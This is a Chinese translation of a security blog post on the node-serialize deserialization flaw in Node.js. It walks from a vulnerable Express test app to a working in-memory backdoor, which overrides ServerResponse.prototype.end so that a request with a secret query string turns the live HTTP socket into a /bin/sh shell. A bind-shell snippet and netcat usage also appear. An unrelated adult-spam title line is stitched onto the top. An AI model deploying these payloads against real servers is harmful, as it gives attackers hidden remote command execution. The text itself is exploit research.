自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

針對(duì)Node.js的node-serialize模塊反序列化漏洞的后續(xù)分析

安全 漏洞
在這篇文章中,我想展示我對(duì)這個(gè)特定的RCE的看法,分享一些額外的見(jiàn)解,也許這些看法會(huì)對(duì)你以后的研究有幫助。

[[184004]]

前言

對(duì)Node.js序列化遠(yuǎn)程命令執(zhí)行漏洞的一些后續(xù)發(fā)現(xiàn)和怎樣開(kāi)發(fā)攻擊載荷。

幾天前我在opsecx博客上發(fā)現(xiàn)了一篇怎樣利用一個(gè)名為node-serialize的nodejs模塊中的RCE(遠(yuǎn)程執(zhí)行代碼)錯(cuò)誤的博客。文章很清楚地解釋了模塊上存在的問(wèn)題,我卻想到另外一件事,就是Burp的利用過(guò)程很復(fù)雜,卻沒(méi)有用Burp進(jìn)行攻擊 -Burp 是一個(gè)很強(qiáng)大的工具 - 我認(rèn)為我們可以做得更好。

在這篇文章中,我想展示我對(duì)這個(gè)特定的RCE的看法,分享一些額外的見(jiàn)解,也許這些看法會(huì)對(duì)你以后的研究有幫助。

攻擊方面

在我們開(kāi)始之前,先檢查攻擊面是否可以使用。不要濫用節(jié)點(diǎn)序列化模塊。

節(jié)點(diǎn)序列化模塊。

下面是所有依賴模塊的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 因?yàn)闆](méi)有分析代碼,所以沒(méi)有辦法識(shí)別這些實(shí)現(xiàn)是否也是脆弱的,但是我假設(shè)它是脆弱性的。

更重要的是,我們還沒(méi)有回答這個(gè)模塊使用有多么廣泛的這個(gè)問(wèn)題。 每月2000次下載可能意味著許多事情,很難估計(jì)這個(gè)數(shù)字后面的應(yīng)用程序數(shù)量。 快速瀏覽一下github和google是獲得一些答案的有效方法,但是我卻發(fā)現(xiàn)一些有趣的地方。

GitHub搜索回顯了97個(gè)潛在的易受攻擊的公共模塊/應(yīng)用程序,這些模塊/應(yīng)用程序最有可能被私人使用,因?yàn)闆](méi)有登錄npmjs.com。 通過(guò)代碼瀏覽可以理解這個(gè)問(wèn)題是多么廣泛(或沒(méi)有)。 我很驚訝地發(fā)現(xiàn),它與神奇寶貝有關(guān)。我要去搞清楚!

我將在這里支持https://nodesecurity.io ,因?yàn)樗俏ㄒ坏姆椒?,在這種情況下,還對(duì)NodeJS模塊系統(tǒng)保持關(guān)注。 它對(duì)開(kāi)源項(xiàng)目是免費(fèi)的。

測(cè)試環(huán)境

到目前為止,我們認(rèn)為我們正在處理一個(gè)具有有限的濫用潛力的漏洞,這從公共安全角度來(lái)看是有好處的。 讓我們進(jìn)入更學(xué)術(shù)的一面,來(lái)重新利用它。 為了測(cè)試成功,我們需要一個(gè)易受攻擊的應(yīng)用程序。 opsecx有一個(gè)這樣的程序,所以我們將在本練習(xí)中使用它。 代碼相當(dāng)簡(jiǎn)單。

  1. var express = require('express'); 
  2. var cookieParser = require('cookie-parser'); 
  3. var escape = require('escape-html'); 
  4. var serialize = require('node-serialize'); 
  5. var app = express(); 
  6. app.use(cookieParser()) 
  7. app.get('/', function(req, res) { 
  8.     if (req.cookies.profile) { 
  9.         var str = new Buffer(req.cookies.profile, 'base64').toString(); 
  10.         var obj = serialize.unserialize(str); 
  11.         if (obj.username) { 
  12.             res.send("Hello " + escape(obj.username)); 
  13.         } 
  14.     } else { 
  15.         res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { 
  16.             maxAge: 900000, 
  17.             httpOnly: true 
  18.         }); 
  19.         res.send("Hello stranger"); 
  20.     } 
  21. }); 
  22. app.listen(3000); 

您將需要以下package.json文件來(lái)完成(做NPM的安裝)

  1.   "dependencies": { 
  2.     "cookie-parser": "^1.4.3", 
  3.     "escape-html": "^1.0.3", 
  4.     "express": "^4.14.1", 
  5.     "node-serialize": "0.0.4" 
  6.   } 

所以讓我們跳過(guò)實(shí)際的事情。 從代碼中可以看到,此示例Web應(yīng)用程序正在使用用戶配置文件設(shè)置cookie,該配置文件是使用易受攻擊的節(jié)點(diǎn)模塊的序列化對(duì)象。 這都是在進(jìn)行base64編碼。 要想知道base64字符串在打包時(shí)看起來(lái)是什么,我們可以使用ENcoder

這看起來(lái)像標(biāo)準(zhǔn)JSON。 首先,讓我們?cè)O(shè)置Rest,以便我們可以測(cè)試它。 請(qǐng)注意,我們使用Cookie構(gòu)建器來(lái)獲取正確的編碼,并且我們正在使用Encode小部件將JSON字符串轉(zhuǎn)換為Base64格式。

配置攻擊載荷

現(xiàn)在我們有一個(gè)工作請(qǐng)求,我們需要配置一個(gè)攻擊載荷。要做的第一件事是了解節(jié)點(diǎn)序列化漏洞究竟是如何工作的??v觀源代碼這是很明顯的,該模塊將連續(xù)函數(shù)顯示在這里。

  1. } else if(typeof obj[key] === 'function') { 
  2.   var funcStr = obj[key].toString(); 
  3.   if(ISNATIVEFUNC.test(funcStr)) { 
  4.     if(ignoreNativeFunc) { 
  5.       funcStr = 'function() {throw new Error("Call a native function unserialized")}'
  6.     } else { 
  7.       throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.'); 
  8.     } 
  9.   } 
  10.   outputObj[key] = FUNCFLAG + funcStr; 
  11. } else { 

一旦我們調(diào)用unserialize,這個(gè)問(wèn)題就會(huì)顯現(xiàn)出來(lái)。 確切的方法在這里

  1. if(obj[key].indexOf(FUNCFLAG) === 0) { 
  2.   obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); 
  3. } else if(obj[key].indexOf(CIRCULARFLAG) === 0) { 

這意味著如果我們創(chuàng)建一個(gè)包含以_ $$ ND_FUNC $$ _開(kāi)頭的值的任意參數(shù)的JSON對(duì)象,我們將執(zhí)行遠(yuǎn)程代碼,因?yàn)樗鼘?zhí)行eval。 要測(cè)試這個(gè),我們可以使用以下設(shè)置。

如果成功,并且它應(yīng)該是成功的,您將得到一個(gè)錯(cuò)誤,因?yàn)榉?wù)器將在請(qǐng)求完成之前退出?,F(xiàn)在我們有遠(yuǎn)程代碼執(zhí)行,但是我們應(yīng)該可以做得更好。

我們的重點(diǎn)

我發(fā)現(xiàn)在opsecx博客提出的利用技術(shù)有點(diǎn)粗魯,但是卻是個(gè)是非常好的演示。我們已經(jīng)在關(guān)鍵過(guò)程中實(shí)現(xiàn)了eval,這樣我們可以做許多事情,以便獲得更好的入侵,而不需要涉及到python和階段攻擊。

這將存儲(chǔ)我們的代碼,使我們不必?fù)?dān)心編碼。 現(xiàn)在我們要做的是修改配置文件cookie,以便代碼變量可以嵌入在JSON和特殊方式node-serialize函數(shù)的正確編碼之后。

這很漂亮! 現(xiàn)在每次我們更改代碼變量時(shí),配置文件cookie有效負(fù)載將通過(guò)保持編碼鏈和節(jié)點(diǎn)序列化來(lái)使其完全完成而動(dòng)態(tài)更改。

內(nèi)存后門(mén)

我們需要處理我們的代碼有效負(fù)載。 假設(shè)我們不知道應(yīng)用程序是如何工作的,我們需要一個(gè)通用的方法來(lái)利用它,或者對(duì)于任何其他應(yīng)用程序,沒(méi)有環(huán)境或設(shè)置的預(yù)先知識(shí)。 這意味著我們不能依賴可能存在或可能不存在的全局范圍變量。 我們不能依賴express應(yīng)用程序?qū)С觯虼怂梢栽L問(wèn)額外的路由安裝。 我們不想生成新的端口或反向shell,以保持最小的配置文件等。

這是一個(gè)很大的要求,但滿足一些研究后,很容易找到一種方法,來(lái)實(shí)現(xiàn)。

我們的旅程從http模塊引用ServerResponse函數(shù)開(kāi)始。 ServerResponse的原型用作expressjs中的響應(yīng)對(duì)象的__proto__。

  1. /** 
  2.  * Response prototype. 
  3.  */ 
  4. var res = module.exports = { 
  5.   __proto__: http.ServerResponse.prototype 
  6. }; 
  7. This means that if we change the prototype of ServerResponse that will reflect into the __proto__ of the response. The send method from the response object calls into the ServerResponse prototype. 
  8. if (req.method === 'HEAD') { 
  9.   // skip body for HEAD 
  10.   this.end(); 
  11. } else { 
  12.   // respond 
  13.   this.end(chunk, encoding); 

這意味著一旦send方法被調(diào)用,將調(diào)用end方法,這恰好來(lái)自ServerResponse的原型。 由于send方法被充分地用于任何與expressjs相關(guān)的事情,這也意味著我們現(xiàn)在有一個(gè)直接的方式來(lái)快速訪問(wèn)更有趣的結(jié)構(gòu),如當(dāng)前打開(kāi)的套接字。 如果我們重寫(xiě)原型的end方法,這意味著我們可以從這個(gè)引用獲得一個(gè)對(duì)socket對(duì)象的引用。

實(shí)現(xiàn)這種效果的代碼看起來(lái)像這樣。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     // TODO: this.socket gives us the current open socket 
  4.   } 
  5. })(require('http').ServerResponse.prototype.end) 

由于我們覆蓋了end的原型,我們還需要以某種方式區(qū)分我們的啟動(dòng)請(qǐng)求和任何其他請(qǐng)求,因?yàn)檫@可能會(huì)導(dǎo)致一些意想不到的行為。 我們將檢查查詢參數(shù)的特殊字符串(abc123),告訴我們這是我們自己的惡意請(qǐng)求。 可以從這樣的套接字訪問(wèn)httpMessage對(duì)象來(lái)檢索此信息。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     // TODO: this.socket._httpMessage.req.query give us reference to the query 
  4.   } 
  5. })(require('http').ServerResponse.prototype.end) 

現(xiàn)在我們準(zhǔn)備好一切。 剩下的是啟動(dòng)shell。 在節(jié)點(diǎn)中這是相對(duì)直接的。

  1. var cp = require('child_process') 
  2. var net = require('net') 
  3. net.createServer((socket) => { 
  4.     var sh = cp.spawn('/bin/sh') 
  5.     sh.stdout.pipe(socket) 
  6.     sh.stderr.pipe(socket) 
  7.     socket.pipe(sh.stdin) 
  8. }).listen(5001) 

在合并兩個(gè)段之后,最終代碼如下所示。 注意我們?nèi)绾瓮ㄟ^(guò)重用已經(jīng)建立的套接字來(lái)重定向結(jié)束函數(shù)以在節(jié)點(diǎn)內(nèi)產(chǎn)生一個(gè)shell。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     if (this.socket._httpMessage.req.query.q === 'abc123') { 
  4.         var cp = require('child_process') 
  5.         var net = require('net') 
  6.         var sh = cp.spawn('/bin/sh') 
  7.         sh.stdout.pipe(this.socket) 
  8.         sh.stderr.pipe(this.socket) 
  9.         this.socket.pipe(sh.stdin) 
  10.     } else { 
  11.         end.apply(this, arguments) 
  12.     } 
  13.   } 
  14. })(require('http').ServerResponse.prototype.end) 

現(xiàn)在打開(kāi)netcat到localhost 3000并鍵入以下請(qǐng)求

  1. $ nc localhost 3000 GET /?q=abc123 HTTP/1.1  
  2. ls -la 

什么? 你得不到任何東西。你看,我們正在劫持一個(gè)現(xiàn)有的套接字,因此我們不是套接字的唯一保管人。 還有其他的事情可能響應(yīng)那個(gè)套接字,所以我們需要確保我們照顧他們。 幸運(yùn)的是,這是很容易實(shí)現(xiàn)與一點(diǎn)知識(shí)如何節(jié)點(diǎn)套接字工作。 最終的代碼看起來(lái)像這樣。

  1. require('http').ServerResponse.prototype.end = (function (end) { 
  2.   return function () { 
  3.     if (this.socket._httpMessage.req.query.q === 'abc123') { 
  4.         ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)) 
  5.         var cp = require('child_process') 
  6.         var net = require('net') 
  7.         var sh = cp.spawn('/bin/sh') 
  8.         sh.stdout.pipe(this.socket) 
  9.         sh.stderr.pipe(this.socket) 
  10.         this.socket.pipe(sh.stdin) 
  11.     } else { 
  12.         end.apply(this, arguments) 
  13.     } 
  14.   } 
  15. })(require('http').ServerResponse.prototype.end) 

現(xiàn)在,只要我們喜歡,我們就可以利用這個(gè)漏洞。 可以通過(guò)使用相同的服務(wù)器進(jìn)程和建立的套接字打開(kāi)具有我們的特殊字符串的請(qǐng)求來(lái)獲得遠(yuǎn)程外殼。

結(jié)論

我們從一個(gè)簡(jiǎn)單的RCE漏洞開(kāi)始,最終創(chuàng)建了一個(gè)通用的方法來(lái)生成一個(gè)已經(jīng)建立的HTTP通道的shell,它應(yīng)該在許多類型的情況下獨(dú)立工作,有一些注意事項(xiàng),我會(huì)留給你們。 整個(gè)事情的最棒的部分是在Rest的幫助下是開(kāi)發(fā)簡(jiǎn)單了很多,這無(wú)疑是最后幾個(gè)帖子中的功勞:1,2,3。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2011-06-01 14:50:48

2021-09-26 05:06:04

Node.js模塊機(jī)制

2020-04-15 15:48:03

Node.jsstream前端

2016-09-21 00:15:27

2024-09-10 08:28:22

2021-04-02 09:00:00

Node.js開(kāi)發(fā)工具

2019-12-17 11:40:44

Node.js模塊前端

2023-06-30 23:25:46

HTTP模塊內(nèi)存

2011-06-01 15:05:02

序列化反序列化

2021-10-20 07:18:50

Java 序列化漏洞

2020-05-29 15:33:28

Node.js框架JavaScript

2012-02-03 09:25:39

Node.js

2013-11-01 09:34:56

Node.js技術(shù)

2015-03-10 10:59:18

Node.js開(kāi)發(fā)指南基礎(chǔ)介紹

2020-01-03 16:04:10

Node.js內(nèi)存泄漏

2017-03-19 16:40:28

漏洞Node.js內(nèi)存泄漏

2017-03-20 13:43:51

Node.js內(nèi)存泄漏

2021-12-25 22:29:57

Node.js 微任務(wù)處理事件循環(huán)

2022-08-06 08:41:18

序列化反序列化Hessian

2017-11-27 11:59:40

Node.JSChrome調(diào)試程序
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)